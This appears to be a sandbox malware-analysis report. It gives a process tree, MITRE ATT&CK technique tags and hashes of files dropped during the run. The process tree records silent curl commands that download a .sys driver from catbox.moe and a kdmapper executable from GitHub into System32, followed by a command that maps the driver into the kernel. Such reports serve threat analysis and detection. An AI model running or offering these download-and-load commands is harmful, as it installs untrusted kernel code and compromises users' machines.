    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6216,i,11247916911760220475,15106363243333049758,262144 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=6084 /prefetch:10
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5456
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1200,i,9019551436662360525,2113583813174688806,524288 --field-trial-handle=2692,i,3416607582082559218,2988825240774751174,262144 --variations-seed-version --mojo-platform-channel-handle=6260 /prefetch:14
    3⤵
    PID:3268
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/xenoud
  2⤵
  PID:6216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:7100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6660
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys
    3⤵
    PID:6192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4936
- - C:\Windows\system32\curl.exe
    curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe
    3⤵
    - Drops file in System32 directory
    PID:5036
- C:\Windows\System32\kdmapper.exe
  "C:\Windows\System32\kdmapper.exe" C:\Windows\System32\hobo.sys
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:1476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  PID:4556

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4916

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3968

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 a068243c4584907cd5534c5544cd99e57be64a6790401ecb34e138b941be50d8
MD5 487201c9d5f8581b404c328a57b95064
SHA1 9118509fc3137d34e8bd3939f3883afe9e9beffe
SHA512 6e13ca057d8cd084911b83c51e96582deab6bc970f1d4d15642021e2d461c0a71257fc4e9734447735b2fbe584808ce6833fbe556372a5954dea7135d7b571e7
TLSH
T1E8D080747F18B841C5D53571553B8700BE964116355FC645F052D10C4C398E5FBD7297
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 55097ae3e8e09b80bce3e3812987755ecca81384247ee729ac4262e176ac5f09
MD5 c1487ee49f8ccdda3c17fbfc8fc5855d
SHA1 22e1d68df0a4913cac107ff5af4cb564d869972f
SHA512 cdb748df700c498fc821f44fbc432a65b818ee7361fa8899d196bb2c32c7c86bd90573282a6465e8a2d722cbc27ecdf3b960978409d4ad6fc7fe8483e801e91f
TLSH
T1FFD0C0703F08B841C5D4313045378700BE924116340FC200F052C10C4C398E4BBD7297
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 15ae7121ff047281ec9e04e8b739a51cdebb9afc50af6bbcb5d88b0f942cac81
MD5 53a1852dd8ade4046a735264839c0555
SHA1 69d4f2f835f346d8cad8430cd58302e1d71fcab8
SHA512 8a75a27f776291e0848160915a126789bc22481b4caa774c14c71d8871c0565a63d497be9c42b04f84319213b0f5885bd0ae289cf25105ae8ccccdb0d9043cc6
TLSH
T112E022BAC821EC6B18F90B5961A4024AEB5653172A40496B7A3C910D8FF163A128A86C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 7KB
SHA256 b854a6c9e18db50a09994002ee8994848f5551c794d8f61d92dc96975bea5064
MD5 16e215f4684c9fb5c016cff634d32c6e
SHA1 02a8c2513d766a27d6a3200e3a35a5c9a2e809cf
SHA512 c30ee1227d7f54279752537b9ba76f3194e0351b334320b918d5ef89497449d3c58ddd215d9235d18568602b7a5e712798eb4adcaf80315d73939f2a54fe50a5
SSDEEP 192:Ykdk0FgXDwV/VhF2qosSbb36aBFF78dw9ruMKLq5MsSVHa8Dzjvuojy/wVidB6kI:Yak0FgXDwV/VhF2pbb36aBF1Yw9rudLr
TLSH
T173F1E548A72894F8CBE16832E5DF5E78FF71A71B0063EF05407246F7292679B2A81D13
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe5914e6.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5914e6.TMP
Size 3KB
SHA256 bd7d3afdc338e4d613e67ff3ba3f7e6703cadc7f660ab7fb9eee0d548844ef91
MD5 722675b7993c7f9b14dd68008c9e186c
SHA1 e402038dd6e7d249a8b1dd72aab06c95631da632
SHA512 bf0e57614f30492436f818239199aa3ace52b86b325cdfecb9dbaade4a6220164527a97a6267f9119d89f27575c1f311dd8750c81e90c25566d71b4205f439da
TLSH
T19B61F81D063CC999DB249872B6DF2358FF60B497442BAE1590B09BE34C6A6E87392513
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 b517d1f68f2d9ff814e0968e1f65fc42757285af3806b4d75ac334b64bbbf4c1
MD5 af379f972865bc83f4c2106fcdf37117
SHA1 9591a0169305efa7d7cd770c6718341090c0c5aa
SHA512 c23526cd574c1543b762c780370f4b50ed00939e7c2291e29b38e69ff3883d219d927ee23c554fc898ad02768de385a8afe0ed6f95f39d0a65c2b62ad80d171f
SSDEEP 192:D+10bGV8fd6NcToaZij6V7Tl8rurLeLboLKvCKh/Ix:D+10bGV8fd6NcToaZiGV7Tl8rurLeLbk
TLSH
T12DE19EF3C7E9866DE91152F4AA147E1FCE1D0918432C3C1AC9E4EF1BA7E24B1E141A5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 a690c54b7e5e368856a58bb467e9e687c3db7587898a8d8141b21d78674f170b
MD5 4fe0f9e486878a3e6bbb12c906387fd4
SHA1 033a15346896a4dc918a6a6ceee93fa02c28f8b7
SHA512 abc567e06fdef692a9b981d053e9693ad92378b1cc0fc70f32104ecc5c86144b1bb4ed24edb5a46e57ea6c7a360706850c957bd06f57e3e8d9e7ab797d0bdcb7
SSDEEP 192:D+10bGV8fd6VToaZij6V7Tl8rurLeLAKoLKvCKhT:D+10bGV8fd6VToaZiGV7Tl8rurLeLAKT
TLSH
T12AD19DF3C7E9866DE91152F4AA147E1BCE1D0918432C3C1AC9E4DF1BA7E24B1E141E5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 16KB
SHA256 142b9ff072de50e7805ef4e3cd3af73b125c71368f517132dd5425f3bcd27843
MD5 5c4172e43f9a1cd7c336869041ce9c7f
SHA1 4664893965321915bacfcc461ceb372d0252ca05
SHA512 2d62aa013512c6f0711dcf9ef5cdf1bebe55a8a28169ebed0ff240d59306f01a1a58473434f7876888fa8a6ae7e8a1a7dd4083493259ca60cfc8466cc1175dfa
SSDEEP 192:sxRVxJRIlyMqZjK1Ml8wcYj/fwTsbqc7Z5Oh+2NxC4zoA8pTVX/g6+WNpVotjVxr:sxRNFCk/fusbL15OhvNeh/5yQ/SvTxjD
TLSH
T14E72F9166A345D7B8CDBD219FA95BF63D7F8156392804E44AAFC8B0C01E76DC211382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 16KB
SHA256 57c10ad38d9eadc7eae876f55f5c1db2311730436da75b8c22d9c5d07b7c611e
MD5 c578a4f110cdfb05b04a2fbb8394667f
SHA1 b6db37aa7b20cb8e3659e2ef2f5e351520d99480
SHA512 c6dc73bd3df79c5b0e007b1819331637bcd6e5e4db33c876bbda2589d310237639ff3937063fe14a9124b17a936b0d54f4d74cac04cab1c3e85a9b5370d41d76
SSDEEP 384:sxRNFq2k/fusAD15OhvNeh/5yQ/dvTx058:sZU2k/fiDim/5ldvTW8
TLSH
T1A472E81669345D7B8CDBD619FA95BF63D2F8157392804E44AAFC8B0C01E7ADC211782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 be0da11019328295d7d01eeae56654176f52f8d2a65680ce6901349530b1804a
MD5 401130075baaaab01c67774e655e83ba
SHA1 98b3ea6336b834d280265014bb4608471222f72c
SHA512 4269ad5772cd473723df4adaf1d80cf8a4e981e34c45213b4737843412c47e73f2cdc63e2702fa74ff9a6049a20c1ae77cdb886c580ae046e2f1bfc1a6f5d0ec
SSDEEP 768:57pWlr7pLuL7S3WgTXfOF8F1+UoAYDCx9Tuqh0VfUC9xbog/OVCAVdRtAroYAaT:57pWl9E7S3WgTXfOFu1jahAVntLYAE
TLSH
T1AEE2FC7B684CCB7F4F804E9CEC297D9E6DE802CF56D8895447EA840C03C66EB511A5DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
Size 233B
SHA256 f7772cfc484d501dc1ae8fd57b48e92da6b25857567e3ba5ffe9ed5f3bef7da1
MD5 67b9d7f4a00667238df076f92aa7c242
SHA1 a4a1e5a2277a180e708675211755166a089a7fcd
SHA512 8127f9c065846a2764f81189f4e408884d951450fadbe189ddd14b553a272df8cb3bf5c74ab7691bd666e2ebd531ae48028845617b089e3dec311f46002a9f53
TLSH
T108D0A777E1974985EBAB4B62962216AA8A203CC86495908CA0033D6934B4B53E322F66
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
Size 226B
SHA256 9287fe547bdf7587f134c2de690943a6b03f7edf50cf90e2b616e5c51f3509e0
MD5 5311fe32eb480c331d9eb53e21555f8b
SHA1 aa33769035f407135b6e9ceb93354c6240403649
SHA512 d410752117785a8e4cec57e27c4f682d9d59fd497a36af23d6b3f9530f856d736fc8e2fab9135eca855ce6eeda92585d1c0c812d956f1fe04a137c0d7e0d3908
TLSH
T1C9D0A77BE19B4A85EBAB4B615612157ACA2038C864A4908CA0031D656894B53E212F6A
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe58a9c8.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt~RFe58a9c8.TMP
Size 138B
SHA256 881db7e80db252cca66c5c69e0b68015733e3a999982bd1dd43bd74acd96f620
MD5 d2116d234e316e13ac0cdc6f711e8d01
SHA1 b11a1964963a84ebf222f9e76c99d24160676c0a
SHA512 0c6f0f391ff61acdcf3bc8e51690a1bd19a4182a6ec36913aff93864d88d72f81eaf3007e334dfc112af1743ddcc1e238a88671e975408480ab6f511d5200f65
TLSH
T12FC09BB7A18645159F1B47520733565DCB193DCC99C5E48D70133D5530B4F13B205FE9
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 da5e2bdfbf792a1645f8836e8cc4681be56b9e51acda8cf49ea32c64985cf8e5
MD5 8a064de0a8045ac773ed2ce8a15883ef
SHA1 3ab541621da74c41f4c93c0690c8775bf0b90906
SHA512 ba91063afd99a1e22e801b7952341c39a8f27c384813a2d68c5a1acc16b6dcda17db2f028357d48c803afe7a3011b88b6d3b9204ff552a0d2af7cb2a170856c0
SSDEEP 384:97SnL5NRMtAPjvR3R8LLAZrK610IK4cZ0/IAie3+7S6nkM94Z9Lr76TmtNFn3v2d:ShJtf3BlQ1KbhJv3U7H
TLSH
T121B27F51717B2B00387E250E92B9841F564630A230DEB87B77A875E26F67E004FFDAD9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 26KB
SHA256 aef3fe13a48db43b9f0fae6fbd7674a97620b437a6dd76d225a487b1521edf4b
MD5 9e4de38bbb22cb41323cd9542be39a92
SHA1 478927eba827c2786bef55b03727876ac41570f2
SHA512 d905e1c8cd58c955a0b7ebec75ec6db33ad01c08842d3368ec33e09857ef4aa53285cd0564c506852cca4e2d614119066d15cd2cbbb04ec1c218ec3d04e0c8fe
SSDEEP 768:RF1j+9SjwgPbRlHrrlGNlkTU9Xxdmn12bfJxI:w9SpglkwJn0yJxI
TLSH
T17CC23A36DCA5CEA7ADE78FC9B70A7646AEE4026385DC19C4C9D85D4C00D72DD130BC2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 32KB
SHA256 aeda4c4fc964fd6337e0d298ba715e5ff1d7a4a205dd938acc9bf9924184dcf9
MD5 c06320fa788889a3fe1539c983f3751f
SHA1 80f1a076f5d71bf0526746022311811b2114c435
SHA512 ff18a32c0272e307dbdb7cf0464cf1f8eda35e8b6b86d625a6a281dbf030fd59f2b132b4e7dc83480428812e747d91071c98c82d78d06e54617ef4ef3d0e4c33
SSDEEP 768:SF1j+9u1wgHbRlQVo++GQJrlGNlkTU9XQv68hlw:n9uvSlkwJH8hlw
TLSH
T194E2C4F198D78977D8AE4B87A73D6D469AFCC163B4885984F7C91D0CCC861BFC20A816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 6a6a6c2c7e0c42079d46d6143638ad4bba48f2fa9561a5af3e04672fc207ba53
MD5 ecef3c90f4742d49253e0b6cdb2a6020
SHA1 a557ff83f237a330a3e4c7d7367d74beb1382149
SHA512 d64a5fab0c6760d352c0f4d045db2b8f3e5a8ac362c07c05aaab787d2c755cb0fb10898e0213fd575fdb282c7e5e541a58e28c974fa20ccb88a8db41576b2fc4
SSDEEP 768:5F1j+9S1wgPbRlRerlGNlkTU9XQw6mn12bfJxI:I9S/plkwJS0yJxI
TLSH
T173C24B36DCA5CEA7ACE78BC5B74A7286EEE412A3C58C59C4D9D84D4C00D72DD130BC2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 c65b2dc4a2f378b199d87a5a204dac2c852dd543449098fb009bdc89d97df104
MD5 a0eb4dc23c1938b186ebae8bc03b3454
SHA1 7be99e7d4e1eb59445c38784cc347c5eeb3091e6
SHA512 b7ed57ee86e5b0160dc34f005fa3012293313a630be0dbaa58b8718027b0c1c710c1782700ddf3fcbd163a230b323159233974ddd0d3dfb892e8dd2808330e15
TLSH
T1103140E08C393DD2D4BE0D6F749B24FCA8C8C726F594347D6868E888417D65D698483F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 806b3a95e7c64db3d7bd335c570cbbdaa43745c613b33a271de339b28645ade5
MD5 9ea0503ba0ac9946e56c795afa1e6a7c
SHA1 d3e524ef62b0cc3a0b3c7636593c7addb33e776b
SHA512 05dc0d22da8cd6a7b7592d3bab1335ba3bb575088fd430a15f0a62ef497a35821104c21cbfd1c615b95dd7f18947c933fd6b3a49d1b13a498f397329ad600fef
TLSH
T111314FE08C392ED2D4BD0D6F709B24FCA8C8CB26F594387D6828E988453D59D298483F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 2de3cba3ca1f58ea75b5ec4091325e7afd6be86c647736340a5ba5013e02fc89
MD5 b045f59587825a44b621734504eeaf05
SHA1 1b726ec4943c56e285db1e0e457922142c6c7664
SHA512 f5cd05dc22788aafddb6472c9255d0271b3afceca3f5e99eee7a2bc3a78bd8c44cc99ead848fdfe9f45b92fc081c6850c68e9bb1ec78bd6a17bf68a1686a6589
TLSH
T163411EE08C382AD2D4BD0D7F708B24FC95D8CB26F590387D6C28E988557D65D698483F
MD5 SHA1 SHA512 TLSH

Submit Download

kdmapper.exe

Path C:\Windows\System32\kdmapper.exe
Size 150KB
SHA256 611b7cf5d5f9193cf7ba27260f4b7903fc0b29c8791d4e4ca2881ff14feb636d
MD5 61e5aafec83b8c4d6b310dc54ed4c827
SHA1 fa0c68418265677b6d7ab4fe07a26340482dfb25
SHA512 7545ad1265c4871900357ecac0598a9db0fd8c627879726d9afe4b9344387df2270d761575de5c445503d2b859d50bd51f9c082fb96095186d9f3ab1ada5cc46
SSDEEP 3072:soRUjZEYLIDfVEDykwUmJTQSaMm5/6onTxIl4z:NUZEYLqf4jcWlTh
TLSH
T1D1E32A1797A5106EF1B7D6B9CAB24A11EB717C550B74D2CF135048BA0F22BD0BA3EB12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hyph-bn.hyb

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-bn.hyb
Size 703B
SHA256 c2784e33158a807135850f7125a7eaabe472b3cfc7afb82c74f02da69ea250fe
MD5 8961fdd3db036dd43002659a4e4a7365
SHA1 7b2fa321d50d5417e6c8d48145e86d15b7ff8321
SHA512 531ecec11d296a1ab3faeb2c7ac619da9d80c1054a2ccee8a5a0cd996346fea2a2fee159ac5a8d79b46a764a2aa8e542d6a79d86b3d7dda461e41b19c9bebe92
TLSH
T13001E1B0B7014F4BC635EDB0117A4A6D9664C43553BE051D84B1F9634F19714E70A8A8
MD5 SHA1 SHA512 TLSH

Submit Download

hyph-mr.hyb

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-mr.hyb
Size 687B
SHA256 f4df224d459fd111698dd5a13613c5bbf0ed11f04278d60230d028010eac0c42
MD5 0807cf29fc4c5d7d87c1689eb2e0baaa
SHA1 d0914fb069469d47a36d339ca70164253fccf022
SHA512 5324fd47c94f5804bfa1aa6df952949915896a3fc77dccaed0eeffeafe995ce087faef035aecea6b4c864a16ad32de00055f55260af974f2c41afff14dce00f3
TLSH
T14801E178BE13888BC6784DB1054115AA0320F90EF296021B4262B13ACB18FD61C95484
MD5 SHA1 SHA512 TLSH

Submit Download

hyph-nn.hyb

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5780_366112693\hyph-nn.hyb
Size 141KB
SHA256 5bcbb58eaf65f13f6d039244d942f37c127344e3a0a2e6c32d08236945132809
MD5 f2d8fe158d5361fc1d4b794a7255835a
SHA1 6c8744fa70651f629ed887cb76b6bc1bed304af9
SHA512 946f4e41be624458b5e842a6241d43cd40369b2e0abc2cacf67d892b5f3d8a863a0e37e8120e11375b0bacb4651eedb8d324271d9a0c37527d4d54dd4905afab
SSDEEP 3072:pPTHXHEm69FrOP8d4hRLiinKL4Qshbv2fuOQXCxj+60EoM8WC5zgY:p73HEUP8dsiinTThjy90VKY
TLSH
T1C1E319F3A3394AC29420A8A4DF593B7E4044FA944D80E197B5EC2038E667CBC76D579F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download